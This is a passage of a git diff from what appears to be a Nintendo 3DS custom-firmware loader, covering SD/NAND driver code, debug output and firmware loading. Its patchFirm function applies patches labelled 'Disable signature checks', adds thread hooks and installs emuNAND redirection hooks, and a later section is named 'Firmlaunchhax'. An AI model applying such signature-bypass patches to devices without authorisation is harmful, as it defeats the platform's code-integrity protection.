(*(vu16*)0x100060D8 & 0xFFDD) | 2; + *(volatile uint16_t*)0x100060D8 = (*(volatile uint16_t*)0x100060D8 & 0xFFDD) | 2; #ifdef DATA32_SUPPORT - *(vu16*)0x10006100 &= 0xFFFFu; //SDDATACTL32 - *(vu16*)0x100060D8 &= 0xFFDFu; //SDDATACTL - *(vu16*)0x10006104 = 512; //SDBLKLEN32 + *(volatile uint16_t*)0x10006100 &= 0xFFFFu; //SDDATACTL32 + *(volatile uint16_t*)0x100060D8 &= 0xFFDFu; //SDDATACTL + *(volatile uint16_t*)0x10006104 = 512; //SDBLKLEN32 #else - *(vu16*)0x10006100 &= 0xFFFDu; //SDDATACTL32 - *(vu16*)0x100060D8 &= 0xFFDDu; //SDDATACTL - *(vu16*)0x10006104 = 0; //SDBLKLEN32 + *(volatile uint16_t*)0x10006100 &= 0xFFFDu; //SDDATACTL32 + *(volatile uint16_t*)0x100060D8 &= 0xFFDDu; //SDDATACTL + *(volatile uint16_t*)0x10006104 = 0; //SDBLKLEN32 #endif - *(vu16*)0x10006108 = 1; //SDBLKCOUNT32 - *(vu16*)0x100060E0 &= 0xFFFEu; //SDRESET - *(vu16*)0x100060E0 |= 1u; //SDRESET - *(vu16*)0x10006020 |= TMIO_MASK_ALL; //SDIR_MASK0 - *(vu16*)0x10006022 |= TMIO_MASK_ALL>>16; //SDIR_MASK1 - *(vu16*)0x100060FC |= 0xDBu; //SDCTL_RESERVED7 - *(vu16*)0x100060FE |= 0xDBu; //SDCTL_RESERVED8 - *(vu16*)0x10006002 &= 0xFFFCu; //SDPORTSEL + *(volatile uint16_t*)0x10006108 = 1; //SDBLKCOUNT32 + *(volatile uint16_t*)0x100060E0 &= 0xFFFEu; //SDRESET + *(volatile uint16_t*)0x100060E0 |= 1u; //SDRESET + *(volatile uint16_t*)0x10006020 |= TMIO_MASK_ALL; //SDIR_MASK0 + *(volatile uint16_t*)0x10006022 |= TMIO_MASK_ALL>>16; //SDIR_MASK1 + *(volatile uint16_t*)0x100060FC |= 0xDBu; //SDCTL_RESERVED7 + *(volatile uint16_t*)0x100060FE |= 0xDBu; //SDCTL_RESERVED8 + *(volatile uint16_t*)0x10006002 &= 0xFFFCu; //SDPORTSEL #ifdef DATA32_SUPPORT - *(vu16*)0x10006024 = 0x20; - *(vu16*)0x10006028 = 0x40EE; + *(volatile uint16_t*)0x10006024 = 0x20; + *(volatile uint16_t*)0x10006028 = 0x40EE; #else - *(vu16*)0x10006024 = 0x40; //Nintendo sets this to 0x20 - *(vu16*)0x10006028 = 0x40EB; //Nintendo sets this to 0x40EE + *(volatile uint16_t*)0x10006024 = 0x40; //Nintendo sets this to 0x20 + *(volatile uint16_t*)0x10006028 = 0x40EB; //Nintendo sets this to 0x40EE #endif - *(vu16*)0x10006002 &= 0xFFFCu; ////SDPORTSEL - *(vu16*)0x10006026 = 512; //SDBLKLEN - *(vu16*)0x10006008 = 0; //SDSTOP - - inittarget(&handleSD); + *(volatile uint16_t*)0x10006002 &= 0xFFFCu; ////SDPORTSEL + *(volatile uint16_t*)0x10006026 = 512; //SDBLKLEN + *(volatile uint16_t*)0x10006008 = 0; //SDSTOP + + inittarget(&handelSD); } int Nand_Init() { - inittarget(&handleNAND); - ioDelay(0xF000); - - sdmmc_send_command(&handleNAND,0,0); - - do { - do { - sdmmc_send_command(&handleNAND,0x10701,0x100000); - } while ( !(handleNAND.error & 1) ); - } while((handleNAND.ret[0] & 0x80000000) == 0); - - sdmmc_send_command(&handleNAND,0x10602,0x0); - if (handleNAND.error & 0x4) return -1; - - sdmmc_send_command(&handleNAND,0x10403,handleNAND.initarg << 0x10); - if (handleNAND.error & 0x4) return -1; - - sdmmc_send_command(&handleNAND,0x10609,handleNAND.initarg << 0x10); - if (handleNAND.error & 0x4) return -1; - - handleNAND.total_size = calcSDSize((u8*)&handleNAND.ret[0],0); - handleNAND.clk = 1; - setckl(1); - - sdmmc_send_command(&handleNAND,0x10407,handleNAND.initarg << 0x10); - if (handleNAND.error & 0x4) return -1; - - handleNAND.SDOPT = 1; - - sdmmc_send_command(&handleNAND,0x10506,0x3B70100); - if (handleNAND.error & 0x4) return -1; - - sdmmc_send_command(&handleNAND,0x10506,0x3B90100); - if (handleNAND.error & 0x4) return -1; - - sdmmc_send_command(&handleNAND,0x1040D,handleNAND.initarg << 0x10); - if (handleNAND.error & 0x4) return -1; - - sdmmc_send_command(&handleNAND,0x10410,0x200); - if (handleNAND.error & 0x4) return -1; - - handleNAND.clk |= 0x200; - - inittarget(&handleSD); - - return 0; + inittarget(&handelNAND); + waitcycles(0xF000); + + DEBUGPRINT(topScreen, "0x00000 ", handelNAND.error, 10, 20 + 13*8, RGB(40, 40, 40), RGB(208, 208, 208)); + + sdmmc_send_command(&handelNAND,0,0); + + DEBUGPRINT(topScreen, "0x10701 ", handelNAND.error, 10, 20 + 13*8, RGB(40, 40, 40), RGB(208, 208, 208)); + + do + { + do + { + sdmmc_send_command(&handelNAND,0x10701,0x100000); + DEBUGPRINT(topScreen, "error ", handelNAND.error, 10, 20 + 17*8, RGB(40, 40, 40), RGB(208, 208, 208)); + DEBUGPRINT(topScreen, "ret: ", handelNAND.ret[0], 10, 20 + 18*8, RGB(40, 40, 40), RGB(208, 208, 208)); + DEBUGPRINT(topScreen, "test ", 3, 10, 20 + 19*8, RGB(40, 40, 40), RGB(208, 208, 208)); + } while ( !(handelNAND.error & 1) ); + } + while((handelNAND.ret[0] & 0x80000000) == 0); + + DEBUGPRINT(topScreen, "0x10602 ", handelNAND.error, 10, 20 + 13*8, RGB(40, 40, 40), RGB(208, 208, 208)); + + sdmmc_send_command(&handelNAND,0x10602,0x0); + if((handelNAND.error & 0x4))return -1; + + DEBUGPRINT(topScreen, "0x10403 ", handelNAND.error, 10, 20 + 13*8, RGB(40, 40, 40), RGB(208, 208, 208)); + + sdmmc_send_command(&handelNAND,0x10403,handelNAND.initarg << 0x10); + if((handelNAND.error & 0x4))return -1; + + DEBUGPRINT(topScreen, "0x10609 ", handelNAND.error, 10, 20 + 13*8, RGB(40, 40, 40), RGB(208, 208, 208)); + + sdmmc_send_command(&handelNAND,0x10609,handelNAND.initarg << 0x10); + if((handelNAND.error & 0x4))return -1; + + DEBUGPRINT(topScreen, "0x10407 ", handelNAND.error, 10, 20 + 13*8, RGB(40, 40, 40), RGB(208, 208, 208)); + + handelNAND.total_size = calcSDSize((uint8_t*)&handelNAND.ret[0],0); + handelNAND.clk = 1; + setckl(1); + + sdmmc_send_command(&handelNAND,0x10407,handelNAND.initarg << 0x10); + if((handelNAND.error & 0x4))return -1; + + DEBUGPRINT(topScreen, "0x10506 ", handelNAND.error, 10, 20 + 13*8, RGB(40, 40, 40), RGB(208, 208, 208)); + + handelNAND.SDOPT = 1; + + sdmmc_send_command(&handelNAND,0x10506,0x3B70100); + if((handelNAND.error & 0x4))return -1; + + DEBUGPRINT(topScreen, "0x10506 ", handelNAND.error, 10, 20 + 13*8, RGB(40, 40, 40), RGB(208, 208, 208)); + + sdmmc_send_command(&handelNAND,0x10506,0x3B90100); + if((handelNAND.error & 0x4))return -1; + + DEBUGPRINT(topScreen, "0x1040D ", handelNAND.error, 10, 20 + 13*8, RGB(40, 40, 40), RGB(208, 208, 208)); + + sdmmc_send_command(&handelNAND,0x1040D,handelNAND.initarg << 0x10); + if((handelNAND.error & 0x4))return -1; + + DEBUGPRINT(topScreen, "0x10410 ", handelNAND.error, 10, 20 + 13*8, RGB(40, 40, 40), RGB(208, 208, 208)); + + sdmmc_send_command(&handelNAND,0x10410,0x200); + if((handelNAND.error & 0x4))return -1; + + handelNAND.clk |= 0x200; + + inittarget(&handelSD); + + return 0; } int SD_Init() { - inittarget(&handleSD); - //ioDelay(0x3E8); - ioDelay(0xF000); - sdmmc_send_command(&handleSD,0,0); - sdmmc_send_command(&handleSD,0x10408,0x1AA); - //u32 temp = (handleSD.ret[0] == 0x1AA) << 0x1E; - u32 temp = (handleSD.error & 0x1) << 0x1E; + inittarget(&handelSD); + //waitcycles(0x3E8); + waitcycles(0xF000); + DEBUGPRINT(topScreen, "0x00000 ", handelSD.error, 10, 20 + 14*8, RGB(40, 40, 40), RGB(208, 208, 208)); + sdmmc_send_command(&handelSD,0,0); + DEBUGPRINT(topScreen, "0x10408 ", handelSD.error, 10, 20 + 14*8, RGB(40, 40, 40), RGB(208, 208, 208)); + sdmmc_send_command(&handelSD,0x10408,0x1AA); + //uint32_t temp = (handelSD.ret[0] == 0x1AA) << 0x1E; + uint32_t temp = (handelSD.error & 0x1) << 0x1E; + + DEBUGPRINT(topScreen, "0x10769 ", handelSD.error, 10, 20 + 14*8, RGB(40, 40, 40), RGB(208, 208, 208)); + DEBUGPRINT(topScreen, "sd ret: ", handelSD.ret[0], 10, 20 + 15*8, RGB(40, 40, 40), RGB(208, 208, 208)); + DEBUGPRINT(topScreen, "temp: ", temp, 10, 20 + 16*8, RGB(40, 40, 40), RGB(208, 208, 208)); + + //int count = 0; + uint32_t temp2 = 0; + do + { + do + { + sdmmc_send_command(&handelSD,0x10437,handelSD.initarg << 0x10); + sdmmc_send_command(&handelSD,0x10769,0x00FF8000 | temp); + temp2 = 1; + } while ( !(handelSD.error & 1) ); + + //DEBUGPRINT(topScreen, "sd error ", handelSD.error, 10, 20 + 17*8, RGB(40, 40, 40), RGB(208, 208, 208)); + //DEBUGPRINT(topScreen, "sd ret: ", handelSD.ret[0], 10, 20 + 18*8, RGB(40, 40, 40), RGB(208, 208, 208)); + //DEBUGPRINT(topScreen, "count: ", count++, 10, 20 + 19*8, RGB(40, 40, 40), RGB(208, 208, 208)); + } + while((handelSD.ret[0] & 0x80000000) == 0); + //do + //{ + // sdmmc_send_command(&handelSD,0x10437,handelSD.initarg << 0x10); + // sdmmc_send_command(&handelSD,0x10769,0x00FF8000 | temp); + // + // DEBUGPRINT(topScreen, "sd error ", handelSD.error, 10, 20 + 17*8, RGB(40, 40, 40), RGB(208, 208, 208)); + // DEBUGPRINT(topScreen, "sd ret: ", handelSD.ret[0], 10, 20 + 18*8, RGB(40, 40, 40), RGB(208, 208, 208)); + // DEBUGPRINT(topScreen, "count: ", count++, 10, 20 + 19*8, RGB(40, 40, 40), RGB(208, 208, 208)); + //} + //while(!(handelSD.ret[0] & 0x80000000)); - //int count = 0; - u32 temp2 = 0; - do { - do { - sdmmc_send_command(&handleSD,0x10437,handleSD.initarg << 0x10); - sdmmc_send_command(&handleSD,0x10769,0x00FF8000 | temp); - temp2 = 1; - } while ( !(handleSD.error & 1) ); + if(!((handelSD.ret[0] >> 30) & 1) || !temp) + temp2 = 0; + + handelSD.isSDHC = temp2; + //handelSD.isSDHC = (handelSD.ret[0] & 0x40000000); + + DEBUGPRINT(topScreen, "0x10602 ", handelSD.error, 10, 20 + 14*8, RGB(40, 40, 40), RGB(208, 208, 208)); + + sdmmc_send_command(&handelSD,0x10602,0); + if((handelSD.error & 0x4)) return -1; + + DEBUGPRINT(topScreen, "0x10403 ", handelSD.error, 10, 20 + 14*8, RGB(40, 40, 40), RGB(208, 208, 208)); + + sdmmc_send_command(&handelSD,0x10403,0); + if((handelSD.error & 0x4)) return -1; + handelSD.initarg = handelSD.ret[0] >> 0x10; + + DEBUGPRINT(topScreen, "0x10609 ", handelSD.error, 10, 20 + 14*8, RGB(40, 40, 40), RGB(208, 208, 208)); + + sdmmc_send_command(&handelSD,0x10609,handelSD.initarg << 0x10); + if((handelSD.error & 0x4)) return -1; + + handelSD.total_size = calcSDSize((uint8_t*)&handelSD.ret[0],-1); + handelSD.clk = 1; + setckl(1); + + DEBUGPRINT(topScreen, "0x10507 ", handelSD.error, 10, 20 + 14*8, RGB(40, 40, 40), RGB(208, 208, 208)); + + sdmmc_send_command(&handelSD,0x10507,handelSD.initarg << 0x10); + if((handelSD.error & 0x4)) return -1; - } while((handleSD.ret[0] & 0x80000000) == 0); - //do - //{ - // sdmmc_send_command(&handleSD,0x10437,handleSD.initarg << 0x10); - // sdmmc_send_command(&handleSD,0x10769,0x00FF8000 | temp); - // - //} - //while(!(handleSD.ret[0] & 0x80000000)); - - if(!((handleSD.ret[0] >> 30) & 1) || !temp) - temp2 = 0; - - handleSD.isSDHC = temp2; - //handleSD.isSDHC = (handleSD.ret[0] & 0x40000000); - - sdmmc_send_command(&handleSD,0x10602,0); - if (handleSD.error & 0x4) return -1; - - sdmmc_send_command(&handleSD,0x10403,0); - if (handleSD.error & 0x4) return -1; - handleSD.initarg = handleSD.ret[0] >> 0x10; - - sdmmc_send_command(&handleSD,0x10609,handleSD.initarg << 0x10); - if (handleSD.error & 0x4) return -1; - - handleSD.total_size = calcSDSize((u8*)&handleSD.ret[0],-1); - handleSD.clk = 1; - setckl(1); - - sdmmc_send_command(&handleSD,0x10507,handleSD.initarg << 0x10); - if (handleSD.error & 0x4) return -1; - - sdmmc_send_command(&handleSD,0x10437,handleSD.initarg << 0x10); - if (handleSD.error & 0x4) return -1; - - handleSD.SDOPT = 1; - sdmmc_send_command(&handleSD,0x10446,0x2); - if (handleSD.error & 0x4) return -1; - - sdmmc_send_command(&handleSD,0x1040D,handleSD.initarg << 0x10); - if (handleSD.error & 0x4) return -1; - - sdmmc_send_command(&handleSD,0x10410,0x200); - if (handleSD.error & 0x4) return -1; - handleSD.clk |= 0x200; - - return 0; + DEBUGPRINT(topScreen, "0x10437 ", handelSD.error, 10, 20 + 14*8, RGB(40, 40, 40), RGB(208, 208, 208)); + + sdmmc_send_command(&handelSD,0x10437,handelSD.initarg << 0x10); + if((handelSD.error & 0x4)) return -1; + + DEBUGPRINT(topScreen, "0x10446 ", handelSD.error, 10, 20 + 14*8, RGB(40, 40, 40), RGB(208, 208, 208)); + + handelSD.SDOPT = 1; + sdmmc_send_command(&handelSD,0x10446,0x2); + if((handelSD.error & 0x4)) return -1; + + DEBUGPRINT(topScreen, "0x1040D ", handelSD.error, 10, 20 + 14*8, RGB(40, 40, 40), RGB(208, 208, 208)); + + sdmmc_send_command(&handelSD,0x1040D,handelSD.initarg << 0x10); + if((handelSD.error & 0x4)) return -1; + + DEBUGPRINT(topScreen, "0x10410 ", handelSD.error, 10, 20 + 14*8, RGB(40, 40, 40), RGB(208, 208, 208)); + + sdmmc_send_command(&handelSD,0x10410,0x200); + if((handelSD.error & 0x4)) return -1; + handelSD.clk |= 0x200; + + return 0; } void sdmmc_sdcard_init() { - InitSD(); - Nand_Init(); - SD_Init(); + DEBUGPRINT(topScreen, "sdmmc_sdcard_init ", handelSD.error, 10, 20 + 2*8, RGB(40, 40, 40), RGB(208, 208, 208)); + InitSD(); + //SD_Init2(); + //Nand_Init(); + Nand_Init(); + DEBUGPRINT(topScreen, "nand_res ", nand_res, 10, 20 + 3*8, RGB(40, 40, 40), RGB(208, 208, 208)); + SD_Init(); + DEBUGPRINT(topScreen, "sd_res ", sd_res, 10, 20 + 4*8, RGB(40, 40, 40), RGB(208, 208, 208)); } diff --git a/source/fatfs/sdmmc/sdmmc.h b/source/fatfs/sdmmc/sdmmc.h index bc067cb..ceafb41 100644 --- a/source/fatfs/sdmmc/sdmmc.h +++ b/source/fatfs/sdmmc/sdmmc.h @@ -1,52 +1,52 @@ -// Copyright 2014 Normmatt -// Licensed under GPLv2 or any later version -// Refer to the license.txt file included. +#ifndef __SDMMC_H__ +#define __SDMMC_H__ -#pragma once +#define TRUE 1 +#define FALSE 0 -#include "common.h" +#include -#define SDMMC_BASE 0x10006000u +#define SDMMC_BASE 0x10006000 -#define REG_SDCMD 0x00 -#define REG_SDPORTSEL 0x02 -#define REG_SDCMDARG 0x04 -#define REG_SDCMDARG0 0x04 -#define REG_SDCMDARG1 0x06 -#define REG_SDSTOP 0x08 -#define REG_SDBLKCOUNT 0x0a +#define REG_SDCMD 0x00 +#define REG_SDPORTSEL 0x02 +#define REG_SDCMDARG 0x04 +#define REG_SDCMDARG0 0x04 +#define REG_SDCMDARG1 0x06 +#define REG_SDSTOP 0x08 +#define REG_SDBLKCOUNT 0x0a -#define REG_SDRESP0 0x0c -#define REG_SDRESP1 0x0e -#define REG_SDRESP2 0x10 -#define REG_SDRESP3 0x12 -#define REG_SDRESP4 0x14 -#define REG_SDRESP5 0x16 -#define REG_SDRESP6 0x18 -#define REG_SDRESP7 0x1a +#define REG_SDRESP0 0x0c +#define REG_SDRESP1 0x0e +#define REG_SDRESP2 0x10 +#define REG_SDRESP3 0x12 +#define REG_SDRESP4 0x14 +#define REG_SDRESP5 0x16 +#define REG_SDRESP6 0x18 +#define REG_SDRESP7 0x1a -#define REG_SDSTATUS0 0x1c -#define REG_SDSTATUS1 0x1e +#define REG_SDSTATUS0 0x1c +#define REG_SDSTATUS1 0x1e -#define REG_SDIRMASK0 0x20 -#define REG_SDIRMASK1 0x22 -#define REG_SDCLKCTL 0x24 +#define REG_SDIRMASK0 0x20 +#define REG_SDIRMASK1 0x22 +#define REG_SDCLKCTL 0x24 + +#define REG_SDBLKLEN 0x26 +#define REG_SDOPT 0x28 +#define REG_SDFIFO 0x30 -#define REG_SDBLKLEN 0x26 -#define REG_SDOPT 0x28 -#define REG_SDFIFO 0x30 +#define REG_DATACTL 0xd8 +#define REG_SDRESET 0xe0 +#define REG_SDPROTECTED 0xf6 //bit 0 determines if sd is protected or not? -#define REG_SDDATACTL 0xd8 -#define REG_SDRESET 0xe0 -#define REG_SDPROTECTED 0xf6 //bit 0 determines if sd is protected or not? +#define REG_DATACTL32 0x100 +#define REG_SDBLKLEN32 0x104 +#define REG_SDBLKCOUNT32 0x108 +#define REG_SDFIFO32 0x10C -#define REG_SDDATACTL32 0x100 -#define REG_SDBLKLEN32 0x104 -#define REG_SDBLKCOUNT32 0x108 -#define REG_SDFIFO32 0x10C - -#define REG_CLK_AND_WAIT_CTL 0x138 -#define REG_RESET_SDIO 0x1e0 +#define REG_CLK_AND_WAIT_CTL 0x138 +#define REG_RESET_SDIO 0x1e0 #define TMIO_STAT0_CMDRESPEND 0x0001 #define TMIO_STAT0_DATAEND 0x0004 @@ -97,75 +97,88 @@ #define TMIO_MASK_ALL 0x837f031d #define TMIO_MASK_GW (TMIO_STAT1_ILL_ACCESS | TMIO_STAT1_CMDTIMEOUT | TMIO_STAT1_TXUNDERRUN | TMIO_STAT1_RXOVERFLOW | \ - TMIO_STAT1_DATATIMEOUT | TMIO_STAT1_STOPBIT_ERR | TMIO_STAT1_CRCFAIL | TMIO_STAT1_CMD_IDX_ERR) + TMIO_STAT1_DATATIMEOUT | TMIO_STAT1_STOPBIT_ERR | TMIO_STAT1_CRCFAIL | TMIO_STAT1_CMD_IDX_ERR) #define TMIO_MASK_READOP (TMIO_STAT1_RXRDY | TMIO_STAT1_DATAEND) #define TMIO_MASK_WRITEOP (TMIO_STAT1_TXRQ | TMIO_STAT1_DATAEND) -typedef struct mmcdevice { - u8* data; - u32 size; - u32 error; - u16 stat0; - u16 stat1; - u32 ret[4]; - u32 initarg; - u32 isSDHC; - u32 clk; - u32 SDOPT; - u32 devicenumber; - u32 total_size; //size in sectors of the device - u32 res; -} mmcdevice; +#ifdef __cplusplus +extern "C" { +#endif -/*int sdmmc_sdcard_init(); -void sdmmc_sdcard_readsector(uint32_t sector_no, void *out); -void sdmmc_sdcard_readsectors(uint32_t sector_no, uint32_t numsectors, void *out); -void sdmmc_sdcard_writesector(uint32_t sector_no, void *in); -void sdmmc_sdcard_writesectors(uint32_t sector_no, uint32_t numsectors, void *in); -void sdmmc_blktransferinit();*/ + typedef struct mmcdevice { + uint8_t* data; + uint32_t size; + uint32_t error; + uint16_t stat0; + uint16_t stat1; + uint32_t ret[4]; + uint32_t initarg; + uint32_t isSDHC; + uint32_t clk; + uint32_t SDOPT; + uint32_t devicenumber; + uint32_t total_size; //size in sectors of the device + uint32_t res; + } mmcdevice; + + void sdmmc_sdcard_init(); + int sdmmc_sdcard_readsector(uint32_t sector_no, uint8_t *out); + int sdmmc_sdcard_readsectors(uint32_t sector_no, uint32_t numsectors, uint8_t *out); + int sdmmc_sdcard_writesector(uint32_t sector_no, uint8_t *in); + int sdmmc_sdcard_writesectors(uint32_t sector_no, uint32_t numsectors, uint8_t *in); + + int sdmmc_nand_readsectors(uint32_t sector_no, uint32_t numsectors, uint8_t *out); + int sdmmc_nand_writesectors(uint32_t sector_no, uint32_t numsectors, uint8_t *in); + + mmcdevice *getMMCDevice(int drive); + + void InitSD(); + int Nand_Init(); + int SD_Init(); -void sdmmc_sdcard_init(); -int sdmmc_sdcard_readsector(u32 sector_no, u8 *out); -int sdmmc_sdcard_readsectors(u32 sector_no, u32 numsectors, u8 *out); -int sdmmc_sdcard_writesector(u32 sector_no, u8 *in); -int sdmmc_sdcard_writesectors(u32 sector_no, u32 numsectors, u8 *in); +#ifdef __cplusplus +}; +#endif -int sdmmc_nand_readsectors(u32 sector_no, u32 numsectors, u8 *out); -int sdmmc_nand_writesectors(u32 sector_no, u32 numsectors, u8 *in); - -mmcdevice *getMMCDevice(int drive); - -void InitSDMMC(); -int Nand_Init(); -int SD_Init(); - -static inline u16 sdmmc_read16(u16 reg) { - return *(vu16*)(SDMMC_BASE + reg); +//--------------------------------------------------------------------------------- +static inline uint16_t sdmmc_read16(uint16_t reg) { +//--------------------------------------------------------------------------------- + return *(volatile uint16_t*)(SDMMC_BASE + reg); } -static inline void sdmmc_write16(u16 reg, u16 val) { - *(vu16*)(SDMMC_BASE + reg) = val; +//--------------------------------------------------------------------------------- +static inline void sdmmc_write16(uint16_t reg, uint16_t val) { +//--------------------------------------------------------------------------------- + *(volatile uint16_t*)(SDMMC_BASE + reg) = val; } -static inline u32 sdmmc_read32(u16 reg) { - return *(vu32*)(SDMMC_BASE + reg); +//--------------------------------------------------------------------------------- +static inline uint32_t sdmmc_read32(uint16_t reg) { +//--------------------------------------------------------------------------------- + return *(volatile uint32_t*)(SDMMC_BASE + reg); } -static inline void sdmmc_write32(u16 reg, u32 val) { - *(vu32*)(SDMMC_BASE + reg) = val; +//--------------------------------------------------------------------------------- +static inline void sdmmc_write32(uint16_t reg, uint32_t val) { +//--------------------------------------------------------------------------------- + *(volatile uint32_t*)(SDMMC_BASE + reg) = val; } -static inline void sdmmc_mask16(u16 reg, const u16 clear, const u16 set) { - u16 val = sdmmc_read16(reg); - val &= ~clear; - val |= set; - sdmmc_write16(reg, val); +//--------------------------------------------------------------------------------- +static inline void sdmmc_mask16(uint16_t reg, const uint16_t clear, const uint16_t set) { +//--------------------------------------------------------------------------------- + uint16_t val = sdmmc_read16(reg); + val &= ~clear; + val |= set; + sdmmc_write16(reg, val); } -static inline void setckl(u32 data) +static inline void setckl(uint32_t data) { - sdmmc_mask16(REG_SDCLKCTL, 0x100, 0); - sdmmc_mask16(REG_SDCLKCTL, 0x2FF, data & 0x2FF); - sdmmc_mask16(REG_SDCLKCTL, 0x0, 0x100); + sdmmc_mask16(REG_SDCLKCTL,0x100,0); + sdmmc_mask16(REG_SDCLKCTL,0x2FF,data&0x2FF); + sdmmc_mask16(REG_SDCLKCTL,0x0,0x100); } + +#endif diff --git a/source/firm.c b/source/firm.c index b169a97..a4c685a 100644 --- a/source/firm.c +++ b/source/firm.c @@ -11,66 +11,52 @@ #include "emunand.h" #include "crypto.h" -firmHeader *firmLocation = (firmHeader *)0x24000000; -const u32 firmSize = 0xF1000; +const firmHeader *firmLocation = (firmHeader *)0x24000000; +const u32 firmSize = 0xF3000; firmSectionHeader *section; u32 emuOffset = 0; u32 emuHeader = 0; -u32 kversion = 0; //Load firm into FCRAM -void loadFirm(int mode){ - //Sysnand mode - if(mode == 0 || getEmunand(&emuOffset, &emuHeader) == 0){ - //Read FIRM from NAND and write to FCRAM - nandFirm0((u8*)firmLocation, firmSize); - section = firmLocation->section; - kversion = 0x04; //TODO: make this not hard coded - arm9loader((u8*)firmLocation + section[2].offset, kversion); - } - //Emunand mode - else{ - //Read FIRM from SD card and write to FCRAM - fileRead((u8*)firmLocation, "/rei/firmware.bin", firmSize); - section = firmLocation->section; - kversion = 0x18; //TODO: make this not hard coded - arm9loader((u8*)firmLocation + section[2].offset, kversion); - loadEmu(); - } +void loadFirm(void){ + //Read FIRM from SD card and write to FCRAM + fileRead((u8*)firmLocation, "/rei/firmware.bin", firmSize); + section = firmLocation->section; + arm9loader((u8*)firmLocation + section[2].offset); } //Nand redirection void loadEmu(void){ //Read emunand code from SD - u32 code = emuCode(kversion); - fileRead((u8*)code, "/rei/emunand/emunand.bin", 0); - u32 *pos_offset = memsearch((u8*)code, "NAND", 0x218, 4); - u32 *pos_header = memsearch((u8*)code, "NCSD", 0x218, 4); - memcpy((void *)pos_offset, (void *)emuOffset, 4); - memcpy((void *)pos_header, (void *)emuHeader, 4); - + u32 code = emuCode(); + fileRead(code, "/rei/emunand/emunand.bin", 0); + u32 *pos_offset = memsearch(code, "NAND", 0x218, 4); + u32 *pos_header = memsearch(code, "NCSD", 0x218, 4); + if (pos_offset && pos_header) { + *pos_offset = emuOffset; + *pos_header = emuHeader; + } + fileWrite(code, "help.bin", 0x200); //Add emunand hooks - memcpy((u8*)emuHook(1, kversion), nandRedir, sizeof(nandRedir)); - memcpy((u8*)emuHook(2, kversion), nandRedir, sizeof(nandRedir)); + memcpy((u8*)emuHook(1), nandRedir, sizeof(nandRedir)); + memcpy((u8*)emuHook(2), nandRedir, sizeof(nandRedir)); } //Patches void patchFirm(){ //Part1: Set MPU for payload area - memcpy((u8*)mpuCode(kversion), mpu, sizeof(mpu)); + memcpy((u8*)mpuCode(), mpu, sizeof(mpu)); //Part2: Disable signature checks - memcpy((u8*)sigPatch(1, kversion), sigPat1, sizeof(sigPat1)); - memcpy((u8*)sigPatch(2, kversion), sigPat2, sizeof(sigPat2)); + memcpy((u8*)sigPatch(1), sigPat1, sizeof(sigPat1)); + memcpy((u8*)sigPatch(2), sigPat2, sizeof(sigPat2)); //Part3: Create arm9 thread - fileRead((u8*)threadCode(kversion), "/rei/thread/arm9.bin", 0); - if(kversion == 0x18){ //TODO: 0x18 only untill i can figure out why the hell this doesnt work on sysnand anymore. - memcpy((u8*)threadHook(1, kversion), th1, sizeof(th1)); - memcpy((u8*)threadHook(2, kversion), th2, sizeof(th2)); - } + fileRead((u8*)threadCode(), "/rei/thread/arm9.bin", 0); + memcpy((u8*)threadHook(1), th1, sizeof(th1)); + memcpy((u8*)threadHook(2), th2, sizeof(th2)); } //Firmlaunchhax @@ -108,10 +94,7 @@ void launchFirm(void){ memcpy(section[1].address, (u8*)firmLocation + section[1].offset, section[1].size); memcpy(section[2].address, (u8*)firmLocation + section[2].offset, section[2].size); *(u32 *)0x1FFFFFF8 = (u32)firmLocation->arm11Entry; - - setKeys(kversion); //Final jump to arm9 binary ((void (*)())0x801B01C)(); - //((void (*)())firmLocation->arm9Entry)(); } \ No newline at end of file diff --git a/source/firm.h b/source/firm.h index 3e97be9..81717c1 100644 --- a/source/firm.h +++ b/source/firm.h @@ -9,7 +9,7 @@ #include "types.h" void loadSplash(void); -void loadFirm(int mode); +void loadFirm(void); void loadEmu(void); void patchFirm(void); void launchFirm(void); diff --git a/source/main.c b/source/main.c index 20526bd..b425273 100644 --- a/source/main.c +++ b/source/main.c @@ -10,16 +10,11 @@ #include "firm.h" #include "draw.h" -int mode = 1; - int main(){ mountSD(); loadSplash(); - while(1){ - if(((~*(unsigned *)0x10146000) & 0xFFF) == (1 << 3)) break; - else if(((~*(unsigned *)0x10146000) & 0xFFF) == ((1 << 3) | (1 << 1))) {mode = 0; break;} - } //Start = emu; Start+B = sys - loadFirm(mode); + loadFirm(); + loadEmu(); patchFirm(); launchFirm(); return 0; diff --git a/source/memory.c b/source/memory.c index b503a16..1296b05 100644 --- a/source/memory.c +++ b/source/memory.c @@ -5,29 +5,38 @@ */ #include "memory.h" -void memcpy(u8 *dest, u8 *src, u32 size){ - for (u32 i = 0; i < size; i++) dest[i] = src[i]; -} - void memcpy32(u32 *dest, u32 *src, u32 size){ for (u32 i = 0; i < size; i++) dest[i] = src[i]; } -void memset(u8 *dest, u32 fill, u32 size){ - for (u32 i = 0; i < size; i++) dest[i] = fill; +void memcpy(void *dest, const void *src, u32 size){ + char *destc = (char *)dest; + const char *srcc = (const char *)src; + u32 i; for (i = 0; i < size; i++) { + destc[i] = srcc[i]; + } } -int memcmp(u8 *buf1, u8 *buf2, u32 size){ - for (u32 i = 0; i < size; i++) { - int cmp = buf1[i] - buf2[i]; - if (cmp != 0) return cmp; +void memset(void *dest, int filler, u32 size){ + char *destc = (char *)dest; + u32 i; for (i = 0; i < size; i++) { + destc[i] = filler; + } +} + +int memcmp(const void *buf1, const void *buf2, u32 size){ + const char *buf1c = (const char *)buf1; + const char *buf2c = (const char *)buf2; + u32 i; for (i = 0; i < size; i++) { + int cmp = buf1c[i] - buf2c[i]; + if (cmp) return cmp; } return 0; } -u32 *memsearch(u8 *start_pos, u8 *search, u32 size, u32 size_search){ - for (u8 *pos = start_pos; pos <= start_pos + size - size_search; pos++) { - if (memcmp(pos, search, size_search) == 0) return (u32*)pos; +void *memsearch(void *start_pos, void *search, u32 size, u32 size_search){ + for (void *pos = start_pos + size - size_search; pos >= start_pos; pos--) { + if (memcmp(pos, search, size_search) == 0) return pos; } return NULL; } \ No newline at end of file diff --git a/source/memory.h b/source/memory.h index bae0c3e..01e4ba9 100644 --- a/source/memory.h +++ b/source/memory.h @@ -8,10 +8,10 @@ #include "types.h" -void memcpy(u8 *dest, u8 *src, u32 size); +void memcpy(void *dest, const void *src, u32 size); void memcpy32(u32 *dest, u32 *src, u32 size); -void memset(u8 *dest, u32 fill, u32 size); -int memcmp(u8 *buf1, u8 *buf2, u32 size); -u32 *memsearch(u8 *start_pos, u8 *search, u32 size, u32 size_search); +void memset(void *dest, int filler, u32 size); +int memcmp(const void *buf1, const void *buf2, u32 size); 